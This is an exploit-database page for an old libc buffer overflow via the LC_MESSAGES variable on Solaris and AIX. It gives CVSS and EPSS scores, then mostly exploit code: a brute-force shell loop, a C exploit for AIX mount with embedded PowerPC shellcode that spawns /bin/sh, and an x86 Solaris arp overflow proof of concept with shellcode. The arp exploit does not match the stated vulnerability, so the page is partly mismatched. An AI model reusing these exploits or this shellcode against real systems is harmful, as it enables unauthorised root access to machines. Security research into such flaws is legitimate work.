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Buffer overflow in Solaris libc, ufsrestore, and rcp via LC_MESSAGES environmental variable.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.96%
–
–
2022-03-13
–
–
1.96%
–
–
2022-04-03
–
–
1.96%
–
–
2022-07-31
–
–
1.96%
–
–
2023-02-26
–
–
1.96%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.6%
2025-03-30
–
–
–
–
0.6%
2025-04-15
–
–
–
–
0.6%
2025-04-15
–
–
–
–
0.6,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/268/info
A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.
#!/bin/ksh
L=3000
STEP=34
MAX=16000
while [ $L -lt $MAX ]
do
./a.out $L
L=`expr $L + $STEP`
done
Publication date : 1999-05-21 22h00 +00:00 Author : Georgi Guninski EDB Verified : Yes
// source: https://www.securityfocus.com/bid/268/info
A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.
/*
AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski
----------------------------------------
DISCLAIMER
This program is for educational purpose ONLY. Do not use it without
permission.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of
the information or functionality provided by this program.
Georgi Guninski, his employer or any Internet provider bears NO
responsibility for content
or misuse of this program or any derivatives thereof.
By using this program you accept the fact that any damage (dataloss,
system
crash, system compromise, etc.) caused by the use of this program is
not
Georgi Guninski's responsibility.
In case you distribute this, please keep the disclaimer and my
addresses.
-----------------------------------------
Use the IBM C compiler.
Compile with: cc -g test2.c
-----------------
Georgi Guninski
guninski@hotmail.com
sgg@vmei.acad.bg
guninski@linux2.vmei.acad.bg
http://www.geocities.com/ResearchTriangle/1711
Suggestions,comments and job offers are welcome!
22-Mar-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char prog[100]="/usr/sbin/mount";
char prog2[30]="mount";
extern int execv();
char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}
/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6 mfspr r0,LR
9421fbb0 stu SP,-1104(SP) --get stack
90010458 st r0,1112(SP)
3c60f019 cau r3,r0,0xf019 --CTR
60632c48 lis r3,r3,11336 --CTR
90610440 st r3,1088(SP)
3c60d002 cau r3,r0,0xd002 --TOC
60634c0c lis r3,r3,19468 --TOC
90610444 st r3,1092(SP)
3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'
6063696e lis r3,r3,26990
90610438 st r3,1080(SP)
3c602f73 cau r3,r0,0x2f73
60636801 lis r3,r3,26625
3863ffff addi r3,r3,-1
9061043c st r3,1084(SP) --terminate with 0
30610438 lis r3,SP,1080
7c842278 xor r4,r4,r4 --argv=NULL
80410440 lwz RTOC,1088(SP)
80010444 lwz r0,1092(SP) --jump
7c0903a6 mtspr CTR,r0
4e800420 bctr --jump
*/
#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
char VAR[30]="LC_MESSAGES";
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int egg=1;
int ch;
unsigned int reta; /* return address */
int corr=4604;
char *args[4];
char *newenv[8];
int justframes=1;
int startwith=0;
mn=78;
max=100;
if (argc>1)
corr = atoi(argv[1]);
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
perror("Bad parameters");
exit(1);
}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);
reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
for(nop=0;nop<mn;nop++)
buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
|| !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}
while(i++<max)
buf[i]=reta;
buf[i]=0;
for(i=0;i<max-1;i++)
frame[i]=reta;
frame[i]=0;
if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};
puts("Start...");/*Here we go*/
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
(char*)&buf):NULL;
newenv[6]=NULL;
args[0]=prog2;
execve(prog,args,newenv);
perror("Error executing execve \n");
/* Georgi Guninski
guninski@hotmail.com
sgg@vmei.acad.bg
guninski@linux2.vmei.acad.bg
http://www.geocities.com/ResearchTriangle/1711
*/
}
// source: https://www.securityfocus.com/bid/268/info
A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.
#include <fcntl.h>
/* arpexp.c
arp overflow proof of concept by ahmed@securityfocus.com
shellcode originally written by Cheez Whiz.
tested on x86 solaris 7,8beta
default should work. if not, arg1 = offset. +- by 100's
Except for shellcode, copyright Security-Focus.com, 11/2000
*/
long get_esp() { __asm__("movl %esp,%eax"); }
int main(int ac, char **av)
{
char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
"\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
"\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
"\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
"\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
"\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
"\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
"\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
"\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff";
unsigned long magic = 0x8047b78;
unsigned long r = get_esp() + 600;
unsigned char buf[300];
int f;
if (ac == 2)
r += atoi(av[1]);
memset(buf,0x61,sizeof(buf));
memcpy(buf+52,&magic,4);
memcpy(buf+76,&r,4);
f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
write(f,"1 2 3 4 ",8);
write(f,buf,sizeof(buf));
close(f);
memset(buf,0x90,sizeof(buf));
memcpy(buf,"LOL=",4);
memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
putenv(buf);
system("/usr/sbin/arp -f /tmp/ypx");
unlink("/tmp/ypx");
}